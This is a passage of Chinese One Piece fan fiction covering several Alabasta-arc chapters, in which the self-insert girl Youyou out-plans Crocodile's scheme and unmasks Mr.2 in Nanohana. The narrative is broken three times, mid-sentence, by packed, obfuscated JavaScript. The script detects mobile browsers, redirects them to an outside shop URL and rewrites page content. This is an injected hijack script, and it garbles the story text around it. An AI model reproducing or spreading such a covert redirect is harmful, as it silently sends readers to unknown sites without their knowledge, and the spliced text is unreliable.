微微一言难尽地看着山治,即使知道山治的性格,但他目前这幅只要她点头,他就能立马把路飞扔出去救有有的架势,还是让人稍感无语。 但是更令人无语的是,有有她完全料到了。 “有有她说,你也没有被发现,那么,你就是这一队的杀手锏。”微微棒读着转述女孩的话。 “看不见拍不到山治帅气的身手有些遗憾,如果可以的话,赢了之后,山治你再和我讲讲吧!” 完全不知道山治脑补了什么,只见他浑身冒着热气,背后火焰熊熊燃烧。 “放心吧有有小姐!我这就去把克洛克达尔打飞!” “哈?山治你这家伙!克洛克达尔是我的对手!”路飞脑袋上不存在的雷达猛然一跳,警惕地看着山治,“你不可以抢!” 看着眼前又乱成一锅粥的模样,索隆轻啧一声:“真是个笨蛋。” 也不知道到底是在说谁。 40.阿拉巴斯坦(十六) “阿嚏!” 坐在睫毛身上狂奔的女孩忽然打了个喷嚏,有有揉了揉脸,恶狠狠道:“绝对是索隆在骂我!” 睫毛煞有其事地打了个响鼻,看上去相当赞同女孩的言论。 对呀对呀,他就是个凶巴巴的剑客。 有有微妙地觉得自己听懂了睫毛的话,犹豫了一会儿,她凑到睫毛的耳边说道:“好骆驼是不能说人坏话的哦,会没有女孩子喜欢你的。” “我?我又不是骆驼。” “索隆他是个凶巴巴的好人啦。”有有安抚地拍了拍睫毛的背,“辛苦你又陪着我跑一遭啦,多亏有你哦。” 其实最简单的方法是当时在那罗哈拉的时候,就想办法留在这个城市。说服娜美她们的理由,如果想找,总是能找到的。但是说她一时上头也好,说她不计后果也罢,她没有办法放弃和艾斯长时间接触的机会,即使这个长时间只有不到两天。 而且说实话,昨天夜里十二点的时候,她还在害怕自己会被强制带回三次元,亏她还提前在电话虫里安排好了。但现在看来,如果恰逢刷新的时候人不在房间内的话,是不会被带回去的。 感恩这可爱的判定,有有暗暗发誓,她再也不骂它了。 怀表的指针刚刚指向八点,袍子下的电话虫“哔嘟哔嘟”地响了三秒,有有目光看向不远处,低声对睫毛说道:“我们去那里。” 最需要预测的同样也是时间,最好预测的也是时间。 倒计时四个小时。 —— “都别闹了!”娜美没好气地制止了几个人的胡闹,但面对有有的行为,她并没有微微想象中生气,房间的一角,有有那个格格不入的背包还摆在那里,只是看上去更鼓了一些。 “她带了什么走?”娜美问道。 “她换了一身衣服,又把那个袍子穿上了,看样子是要再混到国民中间去。”微微回想着有有的动作,“她说这些东西带着太麻烦了,会降低速度,但是她把电话虫带走了,还带了一瓶水。” “除此之外呢?”娜美若有所思,“她应该不止带了这些走吧。” “啊!”微微警觉,她恍然,“她找我要了一块怀表!” “而且她昨天晚上还特意问了一下时间!” “!”娜美脸色微变,“就是这个!” “什么什么啊?”路飞好奇地凑了过来,他看着一脸恍然大悟的娜美和微微,甚至连山治都若有所思,“是什么呀?” “来不及解释了,我们赶紧出发。”娜美指挥着所有人赶紧拿起行李,她看向微微,“接下来我们去克罗克达尔的据地对不对!” “没错!” 反应过来的微微急忙和多托告别,“我们赶紧出发!” 即使匆忙,那份承载着犹巴人民的水还是交到了路飞手上。 老人眼含热泪,挥别了国民的希望。 “你们想,如果有有真的想一个人行动的话,我们哪次真的能拦住她?”没有了睫毛,娜美和微微只能在沙漠里走着,可两人脸上没有任何抱怨,甚至速度还在逐渐加快。 回想起有有的几个“壮举”,索隆吸了口气:“绝对不可能,我们看不住她。” “就是说啊。”娜美完全赞同,“所以你们想,她昨天走之前,还特意和微微讲了,这说明什么?” 乌索普还是听不懂:“说明什么?” “说明她有想给我们传递的消息。”微微接过话道,“时间。” “有有如果真的想分头行动的话,她大可以在我们还没有到犹巴的时候就离开,那边离那罗哈拉还要更近一点。可她偏偏选择我们在犹巴过夜的时候才走。” “这说明我们到达犹巴这件事本身就是一个很关键的时间点。”娜美看向索隆等人,“你们可别忘了,有有的能力。” 预知未来。 话没有完全说明白,但微微也隐隐约约察觉到了一些,毕竟无论是找到寇沙、揭发间谍还是昨天晚上忽然离开,有有都不曾想要掩饰过什么。 微微:“我本以为她是想要提前赶过去预防,但是现在看来,她应该是卡着时间做出的打算。” “克洛克达尔那边一定会有动作,我们要早一点到达雨地,找到克洛克达尔引发骚动,给有有争取时间。”娜美吸了口气,心脏都快跳到嗓子眼了。 “可是,我记得昨天晚上十二点就是两天了吧?”乌索普不否认娜美的观点,但他向来愿意用最悲观的方式去假设未来。 “如果她晚上被房间带回去了怎么办?” “没关系的。”索隆忽然挑眉一笑,“就相信那个家伙吧,没听见微微说,她把电话虫带走了吗?” “有有小姐大概本就打算晚上联系寇沙和伊卡莱姆吧。”山治捂着口鼻,难得没有和索隆呛起来,“毕竟电话虫的声音不算小,白天联系太过引人注目,而克洛克达尔作战的前一天晚上,应该就是有有小姐所说的时机了。” “所以就算是有有被带走了,她也会把接下来的事情安排好对吗?”乔巴看看这个,又看看那个,一直提着的心终于放下了一点。 “没错,所以我们现在只需要去大闹一场然后再去最终战场就可以了。如果有有没回去的话,在那里,我们就能见到她了。”娜美拍了拍乔巴的头,安抚道。 微微:“而最终战场,克洛克达尔一定会透露给我们。” 眼看着有有的行为被分析了个七七八八,抱着犹巴之水走路的路飞忽然切了一声,脸上满是不满。 “你又发什么脾气啊!”娜美硬着拳头,时刻准备着给路飞来上一拳。 可路飞却理直气壮地朝着娜美控诉,一副小孩子告状的模样:“不觉得有有很过分嘛?!” “哈?”娜美的手蠢蠢欲动,“你这家伙,该不会觉得有有去玩不带你吧?那孩子可喜欢你了!你在说什么让她伤心的话啊!!!” “不是啊!”路飞嘴巴嘟成“3”字,“我要打飞克洛克达尔,然后去找有有玩!” “但是!她昨天才和我说的!离开之前要说再见啊!” “她都没有和我说再见!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16246665|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 拳头在离路飞头顶还有三厘米的地方停住,娜美吃惊地看着这个重点奇歪的船长。 不,这也不能算是歪重点。 娜美收回拳头,一脸正色地对着路飞道:“你说的太对了,她居然敢不说再见,等见到面的时候,你一定要好好跟她控诉。” 我就不信我还改不了那孩子不告而别的破毛病。 丝毫没察觉到自己的底线一降再降的娜美笑得格外温柔。 —— 后背突然传来一丝凉意,有有警惕地看了一眼周围,空茫茫的沙漠完全没有被监视的条件,可即使这样,有有依旧骑着睫毛左右踱步了一会才翻身下了骆驼。 岩石后,卡鲁拖家带口,带着一群穿着时尚的快跑鸭安安静静地等着。 在看见有有的瞬间,卡鲁眼睛里闪过开心的光,但随即警惕了起来,目光在搜寻着什么。 有有将手臂从袍子下面伸出,露出了被绷带缠住的手臂,另一只手轻轻在手臂上画了个图形。 看见有有的动作,卡鲁这才放下警惕,乐颠颠地凑近有有。 “真棒啊卡鲁。”有有赞赏地摸了摸卡鲁的小脑袋,“那接下来就拜托你啦,去那里等着接应他们吧。” 卡鲁叫了一声,留下了一只快跑鸭,就朝着目的地出发了。 剧情中并没有出现过明确的时长,几十集中,短短几个天亮天黑的镜头只能知道路飞一伙大概在沙漠了待了两到三天,中间是否有被略过的时间不得而知,但关键的事件点是不会变的,其他的不算重要,只要知道他们到达犹巴的时间,那么克洛克达尔的“理想乡”计划实施的时间就能确定下来。 不能剧透又怎样呢?行动中透露出来的蛛丝马迹,又怎么能算剧透呢?她可是一句话都没说啊。 现在,只要那边能解读出来就可以了。 —— “大闹一场没人和我说是这样的大闹一场啊!”娜美看着冤家路窄的斯摩格,简直就像老鼠看见了猫一样。 七武海之一先不说,怎么海军也来凑热闹了啊? 一伙人被海军冲得七零八落,什么前提、什么计划忘得一干二净,在分开前喊得一句“雨宴门口集合”已经是最后的理智的了。 然后所有人齐刷刷地被克洛克达尔一网打尽。 路飞、乌索普、索隆、还有自己。连带着一个不太相关的斯摩格。 简直可汗大点兵。 娜美泪流满面地看着囚笼里几乎一个不落的船员,心里满是不可置信。 她居然把事情搞砸了,她肯定是被路飞同化了。 山治!乔巴!靠你们了! —— 完全没料到那边事件发展方向几乎不曾有丝毫变化,有有躲在岩石后面,略微梳理了一下自己的仪容仪表,就牵着睫毛,雄赳赳气昂昂地在那罗哈拉这座港口城市里面逛了起来。 长袍和骆驼、再加上像模像样的头巾和这次没有破绽的鞋子。 寇布拉来了都得说一句阿拉巴斯坦什么时候多了这样一位国民。 41.阿拉巴斯坦(十七) 港口城市之所以被称为港口城市,是因为在这个大航海时代,离大海越近,就能占据更多的贸易先机,所以即使在如此混乱的当下,那罗哈拉依旧还在进行着最基本的贸易交流,这也是这座国家为数不多的,能购买到淡水资源的地方。 叫卖声、吵架声,这座城市看上去依旧十分平和。 当然这也只是看上去。 睫毛跟在有有的后面,眼冒爱心地看着女孩为自己买水、买干粮。 “老板老板,便宜一点吧。”漂亮的女孩眼巴巴地望着自己,从口袋里掏出了皱巴巴的几百贝利。 摊主为难地看了看女孩,犹豫良久,最终还是残忍地拒绝了女孩:“小姐,不是我不卖给你啊,你这点钱能买什么啊?给你一口水喝都要说我心善了。” 有有无语凝噎。 虽然知道路飞你可怜,但是没想到你口袋里的钱连一瓶水都买不起啊。 没错,她压根没钱,这可怜的几百贝利还是趁路飞睡觉的时候从他口袋里换的。虽然知道整个船上的钱都在娜美身上,但是半夜去摸娜美的钱包危险系数还是太高了一些。 女孩小脸耷拉了下来,似乎想打动老板的心。 “可是我的骆驼真的很久没有喝水和吃东西了,我真的很想给它买点吃的。”有有摸了摸睫毛的毛发,骆驼也十分通人性地将头低了下来,蹭了蹭主人的脸,然后又蹭了蹭,继续眼冒爱心。 有有:……要不是看这骆驼还有用的份上,迟早给它毛拔光。 翻脸不认骆驼的有有心中阴暗,可完全没影响脸上的表情。 “不是我说啊,这位小姐,现在人都没办法喝够水,你还买给骆驼喝,你还没什么钱。”摊主啧啧摇头,就差直说这里有个大傻子了。 “我说你要卖就卖,不卖就算了,说人家小姑娘干嘛?”来往的顾客中很快有人为女孩打抱不平。 女孩不好意思地低下了头,细若蚊呐,即使这样,也能看见女孩因为耳后羞愧而浮现的红:“因为、因为,我实在没钱了,打算给它吃完最后一顿,然后给它卖掉的。” 路人:……打扰了,断头饭是吧。 摊主:……失敬失敬。 睫毛:??剧本上没这出啊? 剧本上当然没这出,有了的话怎么追求真实感。虽然还是个半吊子导演,可有有对演员情感的真实性还是很有要求的。 睫毛叫了一声,希望唤回主人所剩无几的良知,有有只是看了一眼,然后就抽抽噎噎地和摊主说着自己的不忍心。 “老板你有什么认识的人收骆驼吗?”有有一边不忍心,一边扯着睫毛的绳子展示了自己的决心。 摊主看了看惨叫着的骆驼,又看了看女孩那张脸,犹豫地指了指自己身后的帐篷:“你要真着急卖的话?你把骆驼送到里面,我检查一下,没问题你就卖给我吧,我刚好缺个骆驼送货。” “真是帮大忙了啊!”有有双手合十,虔诚地感谢着摊主,然后在旁观者同情的目光中,两人合力把嗷嗷直叫的骆驼拖进了帐篷里。 帐篷的遮光效果很好,里面并不太亮,只有一盏小小的灯在兢兢业业地发挥着作用,照亮着周围零星几个家具。 “这就是你说的有办法找到我们?”角落里突然冒出来一道身影,暗金色的头发在灰暗的室内更加不明显,鼻梁上架着的紫色墨镜让人怀疑他到底能不能在这么暗的地方看见东西,“你还不如直接偷偷地混进来。” 寇沙一言难尽地看着牵着骆驼的女孩,开始怀疑自己将注压到这人身上到底是不是个正确的决定。 “这样多合理啊。”有有不服,“你知不知道我刚刚就这么在街上逛一圈,看见了多少巴洛克工作室的人啊。” 那个纹身大咧咧地裸露在空气中,生怕没人发现一样。 摊主没有插嘴,只是默默地牵着睫毛。生活不易,谁都得卖艺。 有有却没忘记这个人,她相当有礼貌地朝人道谢:“谢谢你了大叔。” 摊主摆手一笑:“没事没事,我一开始还以为你真的是顾客呢。” “如果不是最后你朝我指了指那个标志,我差点就要骂人了。” 那是和寇沙提前定好的暗号,在那罗哈拉第一次见到寇沙时,她就和他约定好了,需要碰面的时候,就在碰头的地方做上标记。 但她也没想到居然会是在一家商铺里。 “这是一位战友的父亲,他们一直在那罗哈拉做生意。”寇沙解释道,“他们害怕战火会弥漫到这为数不多的净土,所以他加入了我们。” 有有恍然,她看向摊主大叔,只见他苦笑着摆了摆手,惆怅道:“没办法,这个世道如此。” 女孩沉默,想要安慰大叔却无从开口,最终把视线投到了睫毛身上:“大叔,该怎么检查骆驼你就检查吧,让它喊出来也没关系,正好给我和寇沙打掩护。” 摊主诧异:“你真要卖啊?” “其实这也不是我的骆驼。”有有不好意思地挠头,看向了寇沙,“是他们的,然后我们从路上捡的,接下来的时间,这个骆驼可能真的需要您帮忙照看一下了。” 骆驼的脚程虽然很不错,但是在解决了这里的问题后,她要尽快赶到王都阿尔巴那,快跑鸭比骆驼要更快一点。 “这段时间它需要什么麻烦您尽量满足它。”有有顿了一下,坚定道,“战争结束之后,我回来赎回它的。” “战争结束啊……”大叔喃喃自语,脊背似乎都佝偻了些许,“好啊,好啊。” 有有看得鼻子发酸,她深吸气拍了拍脸,转头看寇沙:“所以你们准备的怎么样了?” 寇沙面色严肃:“从你走之后,我就开始排查军队,但是人数实在太多了,动作又不能太大,实在没办法在这短短几天内排查完,而且也不能保证有些人没有纹身。” “但是按照你说的,这些已经排查出来的人我重新分了一下队伍,放在了确定可信的小队里,一旦有什么动静,就会立即被抓住。” 这也就意味着除了寇沙之外,在叛乱军里面已经有人知道了这是一场阴谋,而且也都表现出了站在寇沙,也就是站在微微这边的倾向。 为数不多的好事。 有有垂眸,仔细思索着。 “街道上的店铺里,有多少是你们的人?”女孩突然开口道。 “……你注意到了?”寇沙没想到居然会被女孩发现,他不自在地避开了女孩的注视,逃避着这个问题。 可女孩的视线太过敏锐,寇沙无奈地叹了口气:“很多。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16246666|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “昨天晚上你联系我之后,我就开始着手用我们的人替换那罗哈拉的人了。” “既然知道这里会爆发争斗,那我就做不到眼睁睁看着无辜的国民受伤。” “不是所有人都会相信我们,但是我们尽量用各种借口把女人和小孩带到了稍远一些的地方。” “而选择相信的,我们的人则留了下来,替代他们。” “伤亡不可免,但是我想尽量减少。” 寇沙一语带过其中的困难,尽可能简短地将事情说清楚。 女孩的眼光在黑暗中看不太清,她沉默着,说不出一句话。 “我知道,这样做可能会提前惊动对方,但是……”寇沙试着开口。 “不,你做的对。”女孩比寇沙想象中冷静,“不如说,你这样恰好帮了我。” 战争中想要一点伤亡都没有是不存在,现实不是做梦,以最大程度减少伤亡才是更应该关注的。 接下来,这座城市里会出现三个果实能力者。其中两个,都是最直接的攻击性能力,Mr.2的果实虽然攻击性不强,但是本身体术极好。 留下来的人越多,受到伤害的人越多。 但是又不能一个人都不留下。因为消息,有人才能传播。 思及自己接下来要做的事情,有有对着寇沙说道:“寇沙,接下来,你就可以把你筛查出来的人一网打尽了。” —— “没想到你居然还真成了杀手锏。”从赌场的地下室里逃出,索隆稀奇地看着这个自称Mr.王子的山治,“你还是有点用处的啊。” 山治并没有和索隆吵起来,反而是一脸得瑟地看着索隆:“我知道,你只是嫉妒我被小姐委以重任了。” “哈?我嫉妒你?”索隆挑眉,凶恶的脸上写满了打架的欲望。 “都别吵了!我们跑快点吧!”娜美简直服了这两个随时随地都能斗起来的人,身后的海军还有继续追逐的迹象,己方的伙伴又看不出半点靠谱的架势。 “我们不都救了那个斯摩格了吗?为什么海军还要追我们啊!!”娜美抓狂。 唯一一个没有被克洛克达尔知道的山治就如有有所说,成了这场混乱的关键。 他带着乔巴在赌场浑水摸鱼调虎离山,成功地把克洛克达尔骗走,又返回赌场救了被困的一行人,堪称MVP。 “因为我们是海贼?”路飞难得敏锐,指出了关键。 娜美:“那谁让你救他啊!” 微微不敢指出现在没一个人抓住重点,她暗戳戳扯回话题道:“我们现在去阿尔巴那还是那罗哈拉?” 没错,这才是重点啊! “而且怎么过去也是个大难题。”娜美正色道,“现在去租车的话,赶过去要多久?” “那今天之内肯定是无法到了。” 就在众人苦恼之际,乔巴和一头巨大的螃蟹就这样天降神兵般出现在了所有人面前。 微微惊呼:“搬家蟹!” 乔巴在上面兴奋地大喊着:“大家,快上来!” “这是睫毛的朋友,它说昨天晚上有有和睫毛找到它,让它今天在城门外面等着我们!” 娜美震惊、娜美狂喜、娜美泪流满面。 有有!靠谱! 42.阿拉巴斯坦(十八) 克洛克达尔不惜花费这么长时间蛰伏在阿拉巴斯坦,动摇寇布拉的统治,而这一切都是为了找到在阿拉巴斯坦的历史正文,从而找到古代武器“冥王”。 而正是因为如此,在这个阶段,他的“理想乡”计划几乎只差最后一步,他不可能不实施。 她也必须要阻止。 一旦挑拨离间的计谋成功,那么叛乱军和国王军将会在阿尔巴那展开对决。 叛乱军有几十万人,再加上浑水摸鱼的人,到那时,伤亡就不可控了。 有有看了眼怀表,时针无情地指在了十一点出头的位置,分钟也离十二越来越近。 时间越近,心跳声越大。 长袍似乎变成了一个狭窄的密闭空间,后槽牙磨过的声音、吞咽的声音、心跳的声音、甚至连怀表里指针转动的声音都在这个狭小的空间无限放大。 “咚咚、咚咚。” 有有放慢了呼吸声,站在高处看着一群人慢慢走进了街道。 “咔嚓。” 就像是细小的齿轮回到了该在的位置上,指针指向了十二点。 并不宽敞的街道随着“寇布拉”和“国王军”的到来更显拥挤,仿佛是被按上了什么程序一般,十二点的钟声刚刚敲响,“寇布拉”就来到了街道上开始了自己的演讲。 “……就如你们听到的,我在很认真地谢罪……” 恶魔果实真的十分神奇,是无法用科学来解释的神奇。即使站在这么高的地方,Mr.2的易容也几乎毫无破绽可言。有有看着他在街道上高谈阔论,即使知道他在后面会帮助路飞,但此时,她果然还是想把他揍一顿。 虽然揍不动。 有有环顾了一下自己的周围。因为无法确定Mr.2出现的方位,她从寇沙的帐篷里出来之后,就选择了爬上房屋的二楼观察,几乎是快到十二点她就开始抖着腿爬到屋顶上转着圈地观察,因为人不可能十二点时凭空出现在街道上。(毕竟门门果实不在这。) 街道上涌入的人实在太多,所有人不可置信地听着那个国王讲出一句又一句颠覆所有人印象的话。 那可是国王啊,那可是曾经把所有国民放在心上,认为人才是国之根本的国王啊。 可眼前这个人,根本就是个恶魔。 国王身后的军队举起了长枪,燃起了火把,残忍地要将人民心中最后一丝希望泯灭。 不明所以的人民哭喊着,知道内幕的人默默地站在了前列,眼中愤怒的火焰烧得比火把还要猛烈,但还不忘以血肉之躯筑起了一道人墙,把无知的民众护在身后。 在视线所及之内,寇沙隐藏在屋檐下,焦躁不安地环顾着周围,甚至在毫不自觉地微微挪动着位置。 他在找她。 她再清楚不过。 但是因为有她的话在先,即使到现在也没有冲出去。 “呼——” 有有微微吐气,手上的动作微微发抖,女孩从袍子下掏出了一把格外眼熟的木仓。 是在威士忌山峰捡到的那把。 —— 乘上搬家蟹的一伙人略微松了口气,这巨大螃蟹的脚程过分给力,在背着这么多人的情况下,还能跑得飞快,或许是因为心理作用,娜美甚至觉得桑多拉河都隐隐出现在了视野里。 “有有没事吧?” 看似平和的氛围被突然响起的话打破,索隆利用行李举重的手一顿,山治点火的手也停在了半空中。 微微后知后觉地捂住了嘴巴。 他们怎么可能不会担心呢,明明年龄在这个海贼团里并不算最小的,甚至很多时候有有比大多数人都要靠谱。但是那孩子有个不可忽视的致命弱点,那就是几乎毫无战斗力。 毅力并非不能左右战斗的胜负,但那是在双方战斗力相差不多的情况下。 而这个时候,是一个手无缚鸡之力的真·女孩要面对一个吃了恶魔果实、能在特工众多的巴洛克工作室拿到Mr.2这个名号的假·女士。 “没事的。”娜美不知道是在说给自己听还是在说给其他人听,“她没有笨到要和那种人面对面。” “如果只有一个果实能力者的话,她肯定来得及跑的。” “而且,”娜美回想起下船之前有有鬼鬼祟祟的举动,“她把我没收之后放在乌索普那的那把木仓拿走了,勉强也算有一点自保能力。” 那把枪并不在有有留下的那堆行李里面,这一路也没见她拿出来过,想来她肯定早就藏在自己的衣服里面了。 “木仓?”乌索普脸色古怪,满脸的欲言又止。 娜美心中忽然涌出了不好的预感:“那把木仓怎么了?”武器之类的工具她并不了解,没收之后也只是交给了乌索普,之后就没有太多的过问。 “有有让我把它改造了一下。”乌索普咽了咽口水,腿都在不自觉地发抖,“她说反正她也买不到子弹,让我把那把木仓的上膛模式和弹药的构成全都改了,再提高了它瞄准的精确性。” 他沉浸在有有一句又一句的夸赞中,甚至给自己改造弹弓的时候效率都不曾那么高过。 “那把枪现在只能弹射的方式把储存在弹药匣的水球发射出去,几乎没有杀伤性。” —— 即使不是玩木仓支的专家,有有也知道,木仓,是有后坐力的。她也知道,她这辈子这双手拎过最重的东西也不过就是书包,虽然她不曾小瞧书包的重量,但她也知道,也不能高看自己。 什么这个毫米那个毫米的子弹就交给别人去玩玩吧,她只适合玩点小聪明。 “乌索普。”女孩大而坚定的眼睛对上了武器专家特地加装瞄准装置,她喃喃道,“我知道,你是草帽团最棒的武器专家。” 纤细的手指扣住了扳机。 一颗被裹在黑色不明材质里的水球猛然射向了“寇布拉”和国民对峙的中间。 就在所有人都以为是躲在暗处的人奏响反击抗争的第一枪时,水球就这么在空中炸开,细细小小的水线在剧烈的阳光下几乎要折射出彩色的光芒,一朵透明的烟花,就这样的在那罗哈拉的街道上盛放。 即使透明、即使微不可查,但脸上的触感是那样真实、那样亲切。 “是水啊!”站在前排被溅到的人惊呼出声,到底是哪个败家的敢把水拿出来撒的! “国王陛下!”女孩站在二楼的阳台上,长得几乎能把人遮住的长袍下露出了一只拿着木仓的手,“凶手”的身份昭然若揭。 “寇布拉”脸色扭曲了一瞬,但很快恢复原状,他故作威严地看着阳台上的女孩,刚要开口,却见女孩大喇喇一笑。 “那不是淡水。” “是我掺了海楼石的海水。” 说着不等任何人反应,女孩利落地又开了一枪,一朵水烟花再次炸开。 海楼石、海水……果实能力者如临大敌的两个词汇。 还不等冯·克雷想明白世界上什么时候多出了能把海楼石加进海水的技术,他的手先一步摸上了自己沾着水的脸。 于是,众目睽睽之下,国王变成了另一个人的脸。 “Mr.2大人!” 还不等有有开口带节奏,小冯同学先一步被自己人喊出了大名。 哦豁。 有有挑眉,趁热打铁地看向了寇沙的方向。 “这一切都是阴谋!!他是Mr.2,别国派来的奸细!这一切都不是国王做的!”寇沙冲向人群,高喊着半真半假的“真相”。 相比于自己而言,寇沙在民众之间的信服力远大于自己,由他说出的话公信力更强,所以揭露这一步,必须由寇沙来做。但此刻又不是戳穿克洛克达尔真面目的时机,因为区区几句话并不能损伤到他的威信。 但是没关系,只要种下一颗怀疑的种子,只要让人明白,这一切并不是国王做的就可以了。 转移矛盾的最好的方法,就是树立一个共同的敌人。 群情激奋,冯·克雷不敢置信这么简单的任务都让自己搞砸了,愤怒之余的心虚终于让自己回过了神,他看向了一切的始作俑者,可阳台上的女孩早已不见了踪影,只有人群中隐隐约约的声音让人知道她还在这。 小冯一定会来找我。有有按住发抖的手,却没打算跑远。 仇恨现在在我这,为了交差,他一定会想办法抓住我。 只要有一个人能活着把消息传出去,这局就算赢了。 争斗是无法避免的。 伪装成国王军的一行人干脆现出了本来的面目,他们肆意地打砸着街道,火把终究还是点燃了,但所幸,点燃的不再是阿拉巴斯坦国民之间的战火。 寇沙掀开早已准备好的帐篷,里面全是马车骆驼板车等运输工具,还有一部分的武器。 留下的“叛乱军” 拿起武器开始向真正的敌人挥舞,即使打不过,即使受了伤,却始终有一口气吊着他们再度站起,为离开的人铺出一条通道,而离开的人流着泪,声嘶力竭地向听到的、没听到的、远处的、附近的人呼喊着。 “都是阴谋,国王是无辜的。” 有人词不达意、有人颠三倒四、也有人面对着即将扑过来的敌人扔出了鞋子和石子。 “混蛋滚出我的国家!” 所有人都只有一个信念,那就是把这个消息带向有人的地方。 —— 这是战争,这是真正的战争。 不是书本上只言片语带过的,也不是画面里被和谐过的。 而是真真正正的,会流血的战争。 是枪声、还是利刃划破皮肤的声音? 有有想要捂住耳朵、捂住眼睛,却又迟迟无法抬手。 明明做好了会有人受伤的觉悟,即使在脑中模拟了一万遍此刻的景象,却在亲眼看见这一切时,忍不住开始质疑。 这一切,都是我挑起来的吗?间接凶手,真的不是凶手吗? 一时间,所有的谋划、所有的设想在大脑蒸发,血色和呐喊铺满了瞳孔再无其他。 街边壮烈的景色就这样在视线中飞速划过,耳边似乎传来似有若无的惊呼,紧接着,便是腹部剧烈的疼痛感。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16263750|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然后再是脊背。 疼!疼!好疼! 剧痛唤醒人的思绪。有有眼前发花,就像是近视了几百度却没有戴眼镜,但脑子里所有的想法都随之一空,只剩下嘴里的铁锈味和腹背部犹如被切开的疼痛。 已经换回天鹅芭蕾装束的冯·克雷小跳着来到有有面前,脸上嘻嘻哈哈地笑着,亲切地就像刚刚那将人踢飞数米远的一脚不是出自于他。 “你是哪来的小姑娘哟,我们的计划全都被你毁了哟。”冯·克雷随手躲开寇沙射出来的子弹,几个头戴着天鹅小翅膀的人就隔开了寇沙和这边的两个人。 敌人就在自己不到两米的距离,有有却诡异地感觉不到任何紧张感。她捂着肚子慢慢起身,靠在了身后的石头上,疼得直冒冷汗的脸上却还挂着苍白的笑。 “那是我的荣幸,好歹我也计划了那么久。”她从威士忌山峰回去之后就开始谋划,从看见寇沙要说什么、怎么说服微微、怎么在理想乡计划实施之前达到那罗哈拉、又怎么才能揭露这群人的计谋,让国王军和叛乱军不再阿尔巴那狭路相逢。 为此她都考虑到了现在还不能揭发克洛克达尔,而是交给微微她们。 只要那场规模庞大的战争不发生,那么伤亡和损失就能控制在这一个城市内。 “那你怎么不跑哟?”冯·克雷相当不解,“既然能猜到这么多,那你没想到自己怎么跑吗?” “想了啊。”女孩的声音越来越轻,似乎下一秒就要消失无踪,“但如果我跑了,你们找不到我,你们会怎么选择和你老板交差?” “我们?”浓绿色的眼影框出的眼睛满是好奇,就在他话音刚落,一辆巨大的船就这么冲到了城市里, “对啊,你们。”有有从那艘船上收回目光,朝着冯·克雷扯出了一个虚弱至极的微笑,“呐,冯酱。” “打个商量吧,既然你们抓到了我这个罪魁祸首,不如,就放过那些已经跑了的人吧。” 她没有天才到能想出完美无伤揭穿他们的阴谋的方法,虽然她能把揭穿小冯面目的事情交给寇沙,但是叛乱军依旧需要寇沙来统领。而且她就只是一个笨得不能更笨的笨蛋,不过好在负责假扮国王的是那个小冯,那个把义气和朋友挂在心上的小冯,虽然他还不知道她是路飞的伙伴,但是他总为她动容一下吧。 她都这么讲义气了。 只要一瞬间的心软,只要能犹豫一下,把她带走交差就可以了。 只要最后路飞打败了克洛克达尔,她就肯定能得救的。 毕竟,三个果实能力者,她再多小聪明也打不过啊。 视线渐渐模糊,高大的黑皮寸头和蓝色爆炸头的漂亮姐姐越来越近,最后只看到三人齐齐在女孩面前站定。 耳朵的声音也越飘越远,脑子里只剩下一些奇奇怪怪的念头,甚至清晰地觉得自己在记忆闪回。 不过话说,小冯的一脚这么疼,山治还能和他打那么多来回啊,真是不知道该夸山治的武力值高超还是赞叹一下海贼世界人均血厚了。 ——— “那什么,有有果然很厉害啊。”乌索普骑在快跑鸭身上,干笑着企图打破周遭这沉寂的氛围。 有有的情况本就让人担心,甚至半路上路飞也被克洛克达尔带走…… “是啊。”微微紧握着卡鲁身上的绳子,语气沉沉,“无论是搬家蟹、还是桑多拉河边早就等着的功夫海牛,甚至我们一到对岸,卡鲁他们就出现了。几乎是每一步都帮我们安排好了。”她看了眼天色,按理来说,这样奔波下来,就算花不到一整天也起码要花大半天,但因为有有的提示,他们出发的早,在加上路上也没浪费时间,现在天色也不过微微暗而已。 这也让他们有时间先到那罗哈拉找到有有,休整一番再去阿尔巴那也是来得及的。 “她肯定能把自己安排好的。”乔巴强撑着微笑,“那可是有有啊,能把我们骗得团团转的有有!” 是啊,那可是有有。娜美垂眸。 “嘎嘎!” 路边岩石忽然窜出一只快跑鸭,它像是看见了亲人一般蹭着卡鲁。 “这里怎么还会有一只?”娜美脸色微变,视线猛然看向乔巴。 而乔巴眼圈忽然通红:“它说它听有有的话,在这里等她,但是,自从中午之后很多人都出来了,就是有有没有出来。” 担心的事情被无情地摊在了众人面前,所有美好的假设终成空。 “卡鲁!再跑快点!”先反应过来的是微微,她语气颤抖,催促着卡鲁,其他人也木然跟上。 “有有小姐……” “那个笨蛋……” “有有……” 